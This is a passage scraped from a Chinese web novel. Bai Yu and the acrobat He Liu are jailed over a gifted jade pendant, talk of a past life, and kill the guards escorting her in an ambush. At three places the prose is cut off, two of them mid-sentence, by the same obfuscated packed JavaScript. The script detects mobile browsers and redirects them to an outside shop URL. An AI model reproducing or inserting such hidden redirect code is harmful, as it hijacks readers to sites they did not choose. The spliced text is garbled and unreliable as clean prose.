灯展街是一条临时清出来街道,此街道路宽阔,两旁设有特殊的灯架,方便灯家展示自己的花灯。 现在只是零星几个花灯,要到太阳落山这里才会热闹起来。 两人边走边看,穿过灯展街,终于在城中广场上找到了杂耍班的摊位。 他们估计是来得早,占据了视野最好的地盘,地上堆满了演杂耍用的道具,几个少年男女正在收拾整理。 白羽看了一圈,没找到叶启,于是便上前一步叫住一个中年汉子问:“大哥,叶启今天没来吗?” 被叫住的汗衫大哥从地上拾起一根红缨枪插到兵器架上,疑惑回头,“叶启?” 旁边有个昨日与白羽同桌吃过饭的年轻人认出了她,闻言搭话道:“你找六哥是吧,他跟贺老大去衙门报备了,等会就回来。” 白羽谢过之后,和蕊儿在路边找了一个台阶坐下来等。 这一等就等到了正午时分,贺老大才带着贺六从衙门回来。 贺六远远地就看到白羽坐在路边,跟着贺老大回到队伍里,交办完下午开演的手续,便向着白羽走来。 因白羽坐着,贺六站到她面前,她只能仰头看着他,眼前人目光温柔,嘴角凝笑,被太阳晒过再进入阴凉区后肤色泛红,他折起袖子擦了一下脸上的汗,问道:“你们怎么坐在这里?” 白羽拍拍身边的台阶,示意他坐下说话,边回道:“我们早上去了良江巷,是过来看你们表演的,怎么去了那么久?” 贺六顺势坐下,回白羽,“今日要在广场表演的摊位都要去衙门报备,我和贺老大去的时候人非常多,再加上查得又很细,就耽误了一点时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780760|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他看了看天色,询问白羽:“你们还没吃饭吧?走,我先带你们去吃饭。” 白羽看了不远处正指挥杂耍班布置舞台的贺老大,疑问:“那边不需要你去帮忙吗?” 贺六闻言摇摇头,“有贺老大就够了,下午开场还需要些时间,我们晚点回来也行。” 三人来到一街之隔的一家酒楼,进出此间的人仅从衣着判断皆是非富即贵之辈,白羽进来坐下才发觉不对,刚想提出要不然重新找一家吧,就看到旁桌是晨起在良江早市遇到的那位“不耐烦公子”。 他这次仍然在不耐烦中。 大管家坐在他旁边布菜,两个随从站在他们身后护卫。 “不耐烦公子”玉手执筷,夹起管家布在碟子里的竹笋,皱着眉头塞进嘴里,觉得难吃又吐出来,另一只手持折扇,扇得更加起劲。 大管家无奈地望着“不耐烦公子”,似乎是极度心疼但却拿他没办法。 这时,白羽这桌点的菜上来了。 有一道爆炒鸡胗十分鲜辣,辣椒的椒香味与油香味充斥着周围人的鼻腔。 “不耐烦公子”唰唰不停的扇子戛然而止,伸着脖子看向他们这边,指示大管家:“你去问问,他们吃的什么这么香?” 大管家依言套话,白羽也如实相告。 “不耐烦公子”却等不及了,迫不及待地跑到桌边,贺六递给他一双没用过的筷子,略微迟疑地嘱咐他:“可以尝尝?” “好吃好吃!”“不耐烦公子”一把夺过贺六手里的筷子,大快朵颐起来,边吃边训大管家:“你真的好笨,连菜都不会点,点的菜难吃死了!” 大管家张张嘴,有口难言。 他点的都是偏清淡滋补口味的菜,这种辛辣刺激性膳食是盖不允许端上公子的餐桌的。 “不耐烦公子”还记着自己的礼节,吃了两口就放下筷子道谢,转眼看到白羽瞬间呆愣,直到大管家提醒才回神。 为掩饰方才失态,他找了个借口:“这位姑娘,我们是不是在哪里见过啊?” 白羽点头:“今日辰时初,良江巷早市,茉莉花糕。” “不耐烦公子”本是随口一问,谁知这位仙女果真见过他,这下可扬了他的微风,只见他立马捡起自己的风仪傲骨,打开折扇的手势风流倜傥,漫不经心轻轻一扇,谦虚一笑尽显玉树临风:“小生姓慕,在家行五,姑娘可称我慕五。敢问姑娘芳名?” 哪来的装模作样的登徒子! 贺六眉头紧蹙,眼中鄙夷之情愈盛,哪有一上来就问人家姑娘名讳的? 刚想开口拒绝,白羽却比他先出声:“慕五公子,你叫我阿习就行,这是我妹妹蕊儿,这是……”介绍到贺六时她却滞住了。 贺六即时接上,“我姓贺,贺兰山的贺,你叫我贺六就行。” 慕五闻言点点头,不怎么用心,谁关心贺六叫什么,他一颗心都扑在白羽身上。 如果不是大管家拦着,慕五恨不得把自己家底都交代干净,却只得到白羽名叫阿习,永州人士,父母具亡,年方二八的信息。 最后大管家借口今日还要去拜访一位长辈,才生拉硬拽地把慕五拖走了。 临走前,慕五解下腰间玉佩,顺势塞进白羽手里,没给她拒绝的时间就被架着出了酒楼。 慕五走后,三人霎时寂静。 过了一会儿,白羽才拿起玉佩端详,这是一块上好的羊脂白玉,玉质清透,雕刻有如意祥云纹,中心凹凸不平处刻着纂体的“长洲”二字,白羽猜测这应该是慕五的字。 他说他是京城人士,祖上经营纸坊,让白羽去京城的话可以凭此玉佩寻他,无有不应。 贺六看着白羽手持玉佩,细细端详的模样,他自己也觉得这恐怕是一件贵重之物,于是建议道:“这玉佩太过贵重,我们留在手里怕是不好。” 白羽思忖之下也觉得有道理,尤其这上面还刻着慕五的表字,代表着他身份的信物,并不适合留在她手里。 于是点头赞同:“明天我会找个时间把玉佩还给他。不过,叶启,谢谢你的提醒。” “说了,我不叫叶启。” “好的,叶启。” 9. 惹事 罢了,她愿意叫什么就叫什么吧。 贺六结完账,与白羽和蕊儿一起回到杂耍班场地,广场上已经开始热闹起来了,来往游人逐渐增多,各家纷纷使出自己看家的本领用以吸引眼球。 整个广场上锣鼓喧天,喝彩声不断,热闹非凡。 贺六回头嘱咐白羽,因为周围太过嘈杂,他不得不凑近了说:“我过去了,你们就站在这里观看,千万不要被人群挤散了。” 贺六走后,白羽掏了掏耳朵,感觉还是有点麻麻的。 下午表演正酣,贺六的拿手好戏不止初见时顶了三十二只碗,还有转盘子、吞铁剑、喷火、耍长枪等等,他一个人撑起了下半晌几乎一半的表演名目。 白羽根本没有机会抽空同他说几句话,所以,官兵来临时,白羽毫无防备地就被捉拿了。 原本锣鼓喧天、人山人海的表演场地上只能看见人与人的后脑勺,突然一下子呼剌剌地多出一大片空地。 紧接着,腰间佩刀的差役们插入这片地方,一个个眼似鹰隼在人群中寻找着什么。 其中一人眼光扫过杂耍班这边,倏地盯紧了白羽,回首对他们长官汇报:“大人,在那边!” 那五尺身板,肚儿似炮仗一般的官老爷抬臂正官帽,眼神纡尊降贵地点了一下白羽,轻蔑地吩咐手下:“拿过来。” 白羽还没摸清楚发生了什么,窝在她怀里的蕊儿就被人粗暴地拉开,下一瞬她被架着双臂押到五短官老爷面前。 官老爷细细打量过白羽长相和衣着后,对差役下令:“带走。” 怎么在哪都逃不过无缘无故被捉拿归案的命运,白羽无限纳罕,刚准备挣扎为自己辩驳,就听身后传来一声:“慢着!”。 紧接着,贺六穿着一身红色短打从后面追了上来开口就问:“她犯了什么事,你们凭什么随意抓人?” “小子,别多管闲事!” 其中一个长相凶狠的差役狠狠推了一把贺六,竟然没推动,他恼羞成怒地喷骂:“哪里来的小野驴,这么不识趣,敢在播州城闹事,小心我们老爷给你吃铁鞭!” 贺六揪住他的衣领将人提起来,脚尖腾空了他才知道两人之间的差距,贺六朝他怒吼:“我问你为什么要抓她!” “她,她,她偷了我们老爷最宝贝的玉佩……” 那差役战战兢兢地指向白羽腰间悬挂着的那枚羊脂白玉佩。 贺六顺着他的手指看过去,那玉佩是晌午在酒楼里吃饭时那个“登徒子”送给白羽的,贺六辩解:“她不是偷的,那玉佩是一位姓慕的公子所赠,我亲眼所……” 贺六话还没说完,官老爷打断:“少废话,都带走!” 命令下发,更多的差役前来制住贺六,用绳子将他捆了个结实,白羽苦无法力,只能任由人押着走。 杂耍班歇业,贺老板追上来,贺六示意他不必担心,他们先跟着走,等查探清楚什么情况再随机应变。 白羽回头看见蕊儿被杂耍班一众男女老少护在身后,顿时也安下心来,对她安抚一下笑,之后就被押走了。 他们顺着来时在人群里辟出的一条宽敞大道,趾高气昂地前进。 看得出来,当街抓人不是第一次了,白羽和贺六对视一眼都有些气愤。 转过一条街,再往前走了百十步,就来到衙门口,贺六早晨刚来过,没想到这才过了多久就二进宫了。 他和白羽被分别关进了两间牢房,捆绑贺六的绳子还没有解开,他不知道白羽被关进了哪间牢房,只能放声呼唤:“阿习姑娘,你在哪?” 白羽听声辨位,她的手脚没被捆住,于是趴在牢门的栏杆上回应:“我应该就在你旁边,只是我们两的方向不同,所以看不到彼此。” 叶启:“你如何,有没有受伤?” 白羽摇头:“我没事,你可还好?” “我也没事,”叶启听见她安好,顿时也放下心来,询问道:“慕五公子的玉佩还在你身上吗?” “没有,刚才被关进来时,已经被差役拿走了。” 地牢里环境昏暗,只有最上方一格小窗透进来些许微弱的光芒,地上铺着稻草编织的凉席。经年日久,灰尘、血迹、汗渍混合在一起,在阴暗潮湿的地面上,腐朽得仿佛淬了毒一般,令人不敢触碰。 白羽不愿靠近,独自趴在栏杆上。 贺六被人推进来时,就已经倒在了稻草铺就的席子上,他努力使脸远离那一滩排泄物,屏着气出声:“我们分开关押的时候,我听见几个差役说他们老爷这次肯定能被贵人赏识。这个贵人是否指的就是慕五?” “如果这个贪官当真是想借由玉佩拜谒慕五公子的话,那倒是好办了,当他知道玉佩的去向,肯定会放我们出去,怕就怕……”白羽欲言又止。 贺六打了个挺,靠坐在墙角,接上白羽想说的,“你是怕他们一行人已经离开了?” 白羽点头:“嗯,我在早市遇见他们时,那位大管家就着急赶早去买茉莉花糕,说是他们家里的老夫人爱吃,在酒楼又说要去拜访长辈,如果不是行程紧急,完全可以安排在明日。所以,我猜他们很可能已经离开了。” 昏晦不明的牢房陷入一片凝滞的沉默中,像是干涸的浆糊,搅也搅不开。 贺六自小跟着杂耍班走南闯北,见识过的风土人物数不胜数,贩夫走卒、王侯将相、贵妇小姐、浣女田妇,每个人在他脑海里都有个大体的印象。 他觉得慕五出身必定非富即贵,否则也不至于播州一城父母官要假借玉佩搭上他的船,只是究竟贵至何地富至何步,却完全没有头绪。 贺六没有认知的富贵人家,白羽在做富家小姐时却也略有耳闻。 据说当朝皇后出自名门慕府,育有两子一女,大皇子居嫡居长,甫一降生就被立为太子,五皇子性情跳脱,不爱朝堂辅政,喜好游历天下,而华阳公主已殁…… 结合慕家起复前极善精进造纸技术,几乎独揽纸业生意,慕五跟前那个大管家面白无须,很像宫里伺候的内监做派,几乎不做他想,慕五极有可能就是外出游历的当朝五皇子。 半晌没有听见白羽的声音,贺六以为她在担心不能出去怎么办,于是尽力安慰:“阿习姑娘你别担心,贺老大知道我们被抓了一定会想办法全力营救的,我们没犯事迟早会被放出去。” 白羽从胡思乱想中回过神,听闻了贺六的宽慰才知道他也在担心。 现下正值播州庙会客流蜂拥时期,杂耍班少出场一天就要损失不少银钱,更别提少了几乎是台柱子的贺六,所以,贺老大就算为了生意,也不会放弃贺六。 白羽说:“好,我相信你。” 此刻夜幕降临,地牢里点燃了火把,狱卒过来放饭,给了两人一碗清汤寡水的粥,汤面清可鉴人,零星几粒白米沉在碗底,生怕肠胃数不清自己吃了几颗米。 又扔过来一个干冷的杂面窝窝,白羽抬手接住,攥在手里的感觉像是刚从河里捞上来的石头,又湿又重,她将面窝窝在空中掂了掂,这硬度怕是铁齿铜牙亦难嚼。 狱卒敷衍地散完吃食就要走,贺六赶紧叫住他:“牢头大哥,夜里寒气重,我妹妹体弱,烦请给她热乎一点的饭菜。” 狱卒不耐烦地斥骂:“有的吃就不错了,还轮到你挑三拣四!” “等等!”软的不吃,那就给他来硬的,贺六恐吓他:“你知道她是谁吗?她可是你们大人都要巴结的京城大人物所看重的人,等京城来人了,知道你敢这样对她,肯定不会放过你的。” 听闻此言,狱卒心里有些打鼓,但到底还是有所忌惮。 贺六再添一把火,“狱卒大哥,你就当做个善事,我这里有些不值钱的东西,就当给您买酒喝了。” 狱卒开了门,在贺六的示意下,从他衣服夹层里掏出一枚平安扣,拿在手里端详片刻,觉得还算值钱,便起身去给他们重新拿吃食。 狱卒的脚步声渐行渐远,直至无声后,白羽才问贺六:“你给了他什么?” 贺六答:“我也不知道,听贺老大说捡到我的时候,在我身边发现的一块造型奇特的石头,后来打了一枚平安扣给我戴着,反正不是什么值钱东西。” 贺六话里有隐瞒,白羽没有多问。 没过多久,狱卒提着两个食篮重新回到关押两人的牢房门口,他左右看了看,把贺六塞到了白羽的牢房里,嘴里说:“就当老子发回善心,你们赶紧吃,吃完了叫我过来收拾碗筷。” 狱卒退出去,重新锁上牢房门,回到值岗的地方。 白羽看着地上两个散发香气的食篮,又瞧向倒在地上的贺六,还是决定先帮他把绳子解开。 之后,两人打开食篮,把饭菜都拿出来,盘坐在地上,开始吃饭。 这狱卒还算有良心,给他们的是四菜一汤,有荤有素,两大碗白米饭,饿到现在,白羽和贺六才终于吃了个饱饭。 白羽看着狱卒收走碗碟,默默思忖后说:“看样子今夜是不会提审我们了,先好好休息一下,或许明天就会有好消息了。” 贺六点头,无论如何明天一定会有个结果。 两人一起将墙角处还算干净整洁的稻杆翻新铺好,坐在了上面,准备将就一晚。 四下里静下来,便愈显得窗外传来的喧闹声太盛。没过多久,有烟花升空,伴随着巨大的爆裂声,牢房最上方的小窗格里有忽明忽暗的光,渐渐的,烟花声连片炸开,牢房里的短暂停留的火光接连不断。 在一半喧嚣一半寂静中,白羽感叹:“外面好热闹啊!原本商队在播州停留就是为了观看庙会,没想到这么热闹的迎灯神会咱们却错过了。” “你以往很少逛庙会吗?”贺六疑惑发问,每逢庙会集会街市上都会多很多年轻女子的身影,以白羽的年纪,正是热衷于新奇好玩事物时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780761|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,不可能没逛过庙会。 白羽摇头叹息,回忆着过去为人十六年的经历,慢慢诉说:“我爹是一方员外,家里不缺银钱使,但是我娘不是我爹的正头夫人,且又早亡,我幼年时性情木讷,不讨人喜欢,除了吃饱穿暖,大夫人不会教太多东西给我。后来渐渐长大,大夫人不让出府游玩,整日学习高门大户的规矩,到我及笄那年家里就匆匆忙忙给定了一门官亲,我不愿嫁,于是伺机逃了出来。所以,从小到大很少见识过外面的风光。” 贺六没想到她还有这样难以言说的过去,白羽的叹息声过,窗外烟花爆竹声更盛,渐渐的,铜锣鼓镲交相辉映,这样的节奏,像是舞龙舞狮队登场了。 “那我也给你讲讲我小时候的经历吧。”贺六泛着浅蓝色光泽的瞳眸里伴随着烟花升空带来的光芒,时暗时明,他长久地注视着小窗外的夜空,娓娓道来。 “我小时候大概七八岁的年纪被贺老大在荒城的流民堆里捡到,之后就一直跟着他和杂耍班生活。七岁之前的记忆几乎忘光了,但七岁之后过得很精彩,我刚开始瘦弱枯黄且什么都不会,贺老大就等我养好了身体让一个师兄给我安排了魔鬼训练。从年头到年尾,日日都要训练,一天也不能间断,就这样练了三五年,我也能上场了,慢慢地也有人为我喝彩为我散财……” 在贺六的讲述里,白羽知道他在雷州的海边演出时,曾救起一名落海的渔家少年,事后却被贺老大揪着耳朵骂个半死; 也知道他在宁州的深山里采了不知名的野菌子为大家埋锅造饭,结果导致杂耍班所有人具中毒呕吐,如果不是遇到一位游方道人,可能真的会埋骨深山,做了其他菌子的养料; 以及他十五稚龄,靠一手顶碗的绝活在皖鄂一带一举扬名,意气风发少年郎的模样。 白羽无从想象过去那些岁月里叶启为生计奔波的模样,她第一次见叶启就是在佛现山的山坳里,他身旁站着心爱的妻子,一袭麻布葛衣却清贵出尘、从容温和的风仪。 至于叶启或为紫翎仙君,她却从没见过那样的人物,更加无从考究。 贺六讲完发现白羽不再沉溺于过去的遗憾里,这才收了声,轻轻咳了有些干哑的嗓子。 今夜气氛如此好,贺六也想一解心中多日以来的疑惑,“阿习姑娘,我想知道你为什么总管我叫叶启?” 白羽偏过头正视他的眼睛,语气无比坚定,“那是因为,我真的认识过去的你。” 怎会如此,贺六蹙眉,“我过去记忆里没有你,就算是不记得的七岁之前,与你说过我已娶妻的经历并不符合,所以,我不认为我是你认识的叶启。” 贺六想在今晚把这个话题说开,一来他并不是叶启,二来他不想白羽总在他身上寻找别人的影子。 白羽:“不是你的今生,是你的前世。你的前世,我真的认识你,你是一国皇子,你的未婚妻是国师之女,因为国师谋反被判举家斩首,你不想阴阳两隔去求过自己的君父,他不肯收回成命,你无奈之下劫狱带着未婚妻出逃,在一处深山里过了几年平静岁月。” 皇子身份?未婚妻子被判斩首?劫狱隐居? 这都是什么剧情,贺六实在好奇,忍不住追问:“那后来呢,结局是什么?” 白羽迟疑了一下,接着道:“有两个结局,一个是平静生活被打破,以谎言为名接你二人回宫,大婚之日调虎离山,你的妻子惨死你们隐居的竹楼,你失去爱人痛不欲生,你的兄弟登基,国灭。另一个是以真心为筏,你的君父为你登基铺路,接受你的未婚妻,为你们举行了盛大的婚仪,你们夫妻和乐百年,国祚绵长。” 过了这么多年,白羽以始作俑者的身份询问当事人:“这两个结局,你更能接受哪个呢?” “虽然第二个结局很美好,听起来确实诱人,但相比于虚假的幸福,我宁愿要真实的痛苦。” 白羽心底一凉,喃喃低语:“果真吗,原来我一开始就做错了……” 自以为给别人的美满结局,竟然是当局者不想要的虚假幸福,白羽靠在墙壁上不知该作何反应。 两人之间隔了一臂的距离,贺六有些担心地看着默不作声的白羽,伸出手拍了拍她的肩膀,关心道:“阿习姑娘,你还好吗?” 白羽回神,近乎发誓一般地许诺:“我以后不会再自作主张了。” 她想到那些结局,补上一句:“但是,我现在已经遇到了你,后面很可能还会遇上你的妻子宣兰,以后无论你们有什么结局,我绝不插手干涉。” 贺六并不认可白羽的前世故事里讲述的人是自己,倘若人真有来处的话,那也一定是过去的自己——拥有记忆的过去的自己。 他什么都不知道,又怎么相信自己就是另一个人? 三更鼓声过,外面的热闹渐消,此刻能清楚地听到角落里老鼠嗫食稻草的窸窸窣窣声,贺六对白羽说:“三更了,快睡吧。” 10. 反噬 天色拂晓,白羽醒过来时发现自己正靠在贺六肩头,两人还是相隔一臂的距离,所以她整个人呈一种倾斜的姿态倒向贺六。 白羽揉捏着酸疼的脖子直起身体,贺六也随之醒来,观天色未亮,声音含糊地询问:“什么时辰了?” 地牢外面打更声远去,白羽感觉着渐渐恢复知觉的脖颈,慢慢放下手臂,细听后回他:“五更鼓刚过,约摸卯时初。” 白羽攀着墙壁站起身来,正说话间,突然听到牢房外面传来一阵急促混乱的脚步声,她和贺六对视一眼,心道:不好! 这脚步声给她一种很不好的预感,上一次发生这种预感是她的生母早亡之时。 联想到昨晚与贺六说得那些口无遮拦的前世之言,泄露天机的代价终于来了。 半个时辰前,播州太守——也就是去庙会广场上抓走白羽二人的那位五短官老爷,正躺在月前刚纳的第五房小妾的玉臂上睡得安详。 突然被亲信敲开房门,白日里他刚安排他拿上从那女子身上搜出的玉佩去追五皇子一行,怎么这么短的时间就无功而返了? 晁太守在小妾娇莺婉转的抱怨中被伺候着下床更衣,等出了门,亲信已经等候多时了。 接着亲信禀报自己出城后往北直行,一直没碰上五皇子的车架,索性沿着官道继续追赶,行出百里后却遇上了娄知县从永州派来寻人的捕快,互相通过口风后,觉得兹事体大,于是连夜回来报给晁太守定夺。 说着从怀里掏出娄知县的捕快交给他的画像,晁太守从亲信手里接过画像,展开一看也不由得一惊,他搓着自己的山羊胡须,嘴里念叨:“像啊,真是像啊!” 一瞬间,他脑海里就权衡出了利弊。 巴结不上五皇子,娄昭仪也是个不错的人选,那女子若真是娄公子未过门的媳妇,他也算是日行一善了。 当即下令派人将白羽护送回永州,交给娄知县的人,他也去书房给娄知县写了一封书信。 客栈中,贺老大和钱掌柜以及蕊儿一家彻夜未眠,坐在一起商议究竟该怎么救出白羽和贺六。 孙成莽撞得似酒仍未醒一般,说衙门要是不放人,他们就直接打上门去,把贺六和阿习姑娘劫出来。 这个坏主意被孙大娘狠狠地斥责了一顿,说他只会添乱,并赶他出去收拾行囊。 孙成走后,房间里清静下来,大家都开始积极思索正经的救人法子,无论是找人托关系,还是请讼师写诉状都要先厘清楚他们为什么会被抓进去。 于是,在天色将明前商议好先由孙大娘和蕊儿去探监,问清楚被抓的原因后再对症下药。 ………… 白羽听到一连串的脚步声向他们越来越近时,贺六也瞬间恢复清醒,站到白羽身边,紧盯着牢房门口。 紧接着,来了六名差役,人人腰配长刀,其中有昨天见过的,也有陌生面孔,二话不说打开牢门就要把两人押出去。 白羽急了,厉声问:“你们要带我们去哪?” “少废话,跟着走就是了!” 白羽和贺六一个唱红脸,一个唱白脸,互相从差役嘴里套话。 有个机灵过头的就问:“老大,大人只说把这女子平安押送至目的地,那这小子怎么办?” 前面领头的差役回头看了眼贺六,心里一合计,想了个好办法,“那就让他家里人交了赎金来领人。” 后面跟着的五个人一听也都挺高兴的,这笔钱可不会走衙门公账,能小赚一笔,谁会说出去呢。 白羽和贺六被直接从地牢带往大门口,有一辆简陋的马车等在晨风中。 押着白羽的差役想把她推上马车,白羽拒不配合,指着贺六说:“我要他跟我一起走!” 领头的人笑了,“娄少夫人,您开什么玩笑呢,让这小子和你回去,你怎么跟娄知县交代。” 几个差役凑在一堆哄笑,五官仿佛被麦芽糖粘在一起了似的,有一种令人恶心的甜腻。 “不用你操心,还有,别叫我娄少夫人!”白羽语气越发得冷。 “行,既然你说自己不是娄少夫人,那……”那差役话说一半顿住,在白羽还没反应过来时,猛地一把推出去,随后合上马车帘子,拍拍手说:“行了,走吧。” 马车里,白羽被大力推进车厢,一侧肩膀狠狠地撞上厢板,疼得她半天没缓过神来,车外贺六没听见白羽的声音就知道她摔惨了,想挣脱束缚,结果被人用刀架在了脖子上。 “老实点!” 白羽缓过劲后,掀开车帘恶狠狠地说:“你们敢这么对我,一定会有报应的,出了城五十里处有一条春风涧,我祝你们在那里全部摔下山崖,尸骨无存!” 马车已经动起来了,车厢外传来推她那名差役嘲讽的声音:“呵~那就借您吉言了。” 晨风的凉意穿堂过,白羽鬓边碎发被风吹起,她全然不似那般张扬口吻,此刻脸色一片冷沉,趁得眉目更加凌冽。以她方才反常做派,但愿叶启能领悟到她的意图,早做准备。 马车刚刚转过街尾拐弯处,正对着府衙大门的那条街走来一双母女,贺六定睛一看发现是蕊儿和孙大娘。 孙大娘也看见被刀抵着脖子的贺六,她和蕊儿跑上前来连忙查看贺六有无伤势,确认贺六安然无恙后,才问起怎么没看见阿习姑娘。 差役们可没空听他们嘘寒问暖,问了孙大娘是贺六的家属,就让她交了钱才能把人带走。一问赎金金额,贵的离谱! 竟然要二十两银子! 要知道捕快的年俸也不到十两银,赎一个没犯任何罪、被误抓的普通百姓竟然要双倍自己的年薪。 但无法,贺六着急去救人,只能先咽下这口气,他问孙大娘借了钱,再加上自己带的,凑了一些交了赎金。 差役拿到好处自然不再为难他们,很痛快地放了人。 离开府衙,贺六对孙大娘拱手行礼,语气颇为焦急地说:“多谢孙大娘慷慨相助,欠您的钱我以后一定加倍奉还。但长话短说,阿习姑娘被单独带走了,我现在找匹快马去追,请您务必回去告诉贺班主,请他抽几个好手速去五十里外的春风涧接应我们。另外,让商队和杂耍班即刻收拾撤离播州,我们在城外北向八十里处见,如若不能碰面,那就在渝州汇合。” 贺六急匆匆交代完,人一眨眼就跑没影了,孙大娘知道事关重大,携上蕊儿就往客栈方向跑,幸好昨夜就已吩咐孙成带领两方收拾好行装了。 另一边,白羽坐在颇为颠簸的马车上,默默计算他们已出城走了十里路了,如果叶启速度够快的话,再有二十多里就应该追上来了。 不出意外,他应该会带一些人手,提前布置陷阱。她暂时没有别的办法,到时候只能随机应变。 贺六抢了茶棚歇脚的一匹黔西马,扔下一锭银子跨马就跑,只能远远地向主人扬声致歉:“兄台对不住,实有急事借马一用,我名贺六,您可前往渝州寻我,必有重谢!” 清晨的茶棚人数不多,被抢了马的主人坐在晨风中不知所措。 贺六一路驾马狂奔,终于在离城三十里处看到了马车的踪迹,他不敢追上去,只能边走边藏。 没过多久,贺老大派来的人也骑马追上来了。 帮手一多,贺六压力骤减。 他安排一人坠在马车后面防止突发情况,他带着另外三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780762|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄小路去前面布置陷阱截停马车。 太阳渐渐升高,雾气在西南密林里逐步消散,贺六和另一人站在树上眺望,等了好久才看到马车破林而来。 贺六向树下埋伏的兄弟一招手,模仿布谷鸟的叫声,示意他们做好准备。 终于马车来到近前,埋伏在道路两侧的人手狠狠一拉,马匹被绊倒侧翻,两名差役都从辕座上滚下来,车厢也侧翻陷在了贺六带人挖出的一臂深的浅坑里。 两名差役翻下车后,立马抽出腰侧长刀围着马车警惕地看向四周。 倏地,从草丛里跳出来两个青年,又从树上跳下来两个,紧接着后方骑马赶上来的壮年汉子也加入了。呈四面包抄之势将两名差役和马车围在中间。 “你们有天大的胆子,竟敢阻挠府衙办公,小心我们回禀大人,治你们死罪!”其中一人怒斥壮胆。 贺六眼睛一眯,在阳光的映照下,那双泛着浅蓝色光泽的眸子里是必杀的信念。 他一抬手,双方立马陷入混战模式。 长刀碰撞,铁器铿鸣,火花四溅,以二敌五,本就不占优势,差役渐渐落入下风。 车外正在酣战,白羽揭开车帘翻滚出来,拖着骨折的伤腿强行爬起来,一边瘸着走路一边寻找合适的藏身地。 贺六余光瞥见白羽的伤腿,手下落刀也不再收势,刀刀毙命,和他对战的那名差役杀红了眼,或许知道自己没有胜算逃脱,本着临死前也要拉个垫背的,对付贺六的招式也是不要命的打法,全无防守,只做进攻。 他的不理智让贺六瞅准机会,一刀攻向他的气门,顷刻间毙命。 其他四人也解决了另一名差役,几人合伙把马车残骸并两名差役尸体推入山涧河流,打扫完战场后,贺六去白羽的藏身处把她扶出来。 让她坐下来检查过后,发现是骨头错位了,必须立刻医治,但他们这几人都不会接骨。 贺六安慰白羽:“放心,只是骨折,我们立刻去追潘大夫,他的接骨术出神入化,肯定不会有任何问题。” 这一幕似曾相识,他的眼神依然温和纯粹,带着抚慰人心的魔力,白羽点头表示相信他。 贺六找来从马车上劈下来的薄木板,又用他们做陷阱的绳子把木板固定在白羽的伤腿上,让她的伤势暂时不要恶化。 将要上路,他们六个人有五匹马,势必有两人需要共乘一骑。 追来的路上,因马匹稀缺,杂耍班四个人里有两人是骑一匹马,现下拉马车的马方才只是侧翻,对马没有造成任何伤害,可以正常骑用。 队伍里除了白羽都是半大小子,两人一骑势必会拖慢行程速度,于是大家都同意让贺六骑马带着白羽。 白羽也觉得这样安排没有问题,她让贺六扶自己上马,贺六随后也翻身上马,把白羽圈在他身前。 众人都上马准备出发。 日色已悬至半空,热气开始蒸腾,马匹跑起来时带过的凉风拂面,吹起白羽飘散的发丝,轻抚在贺六脸上。 他不知道为什么突然手脚发软,总觉得心虚冒汗,刚才和差役打斗的时候都没有这种感觉。 贺六回神,叮嘱身前的白羽:“阿习姑娘,你注意不要碰到自己的伤腿,有什么需求就告诉我,我们马上就能追上商队,潘大夫医术很好,你的腿一定会好起来的。” 白羽垂眼看着自己被包得严严实实的左腿,心里安全感满满,点头回应他的话:“多谢你叶启,你又救了我一次。” 她为什么要说又? 因为她说过的前世吗? 贺六摇摇头,努力忽视身体异样的感觉,他觉得自己也该找潘大夫开服药吃吃了。 11. 接骨 日色逐渐攀高,今日仍是热闹非凡的播州庙会,街头巷尾人头攒动,卖花的娘子热情吆喝,新鲜带露的花苞一早便被抢购一空。 商队和杂耍班昨晚就已经开始收拾行李,整装待发了。 在孙大娘带回贺六的消息后,贺老大二话不说立马安排青壮好手去帮贺六,钱掌柜也当机立决带人去官署仓房提货,因提前一天退仓,退了剩下的托管费用后,钱掌柜带着货物先一步出城等候。 没多久其余人并杂耍班也都出来了,明知播州不宜久留,他们出城后立即向北行进前往渝州。 离城五十多里后,赶路速度才慢了下来,边走边等贺六他们。 马车里,蕊儿靠在孙大娘怀里,攥着白羽买给她的赤金底色彩云发带,回想起那日被官差推倒,白羽被抓走的景象,仍然心有戚戚,她仰头问自己的母亲:“阿习姐姐不会有事的,对吗?” 孙大娘怜爱地摸了摸她的环髻,给她吃颗“定心丸”:“放心吧,有贺六在,贺班主也派了人去营救,阿习一定会没事的。” 此刻,约摸百里外。 白羽坐在贺六马背上,因马匹快速奔跑而产生的凉风致使腿骨的疼痛灼热感都消减了不少。 她也有精力去思考从她出城到贺六追上来,这么短的时间他是从哪弄到的马。 耳边烈风呼啸,白羽不由得提高了音调,“你是从哪里找的马?” 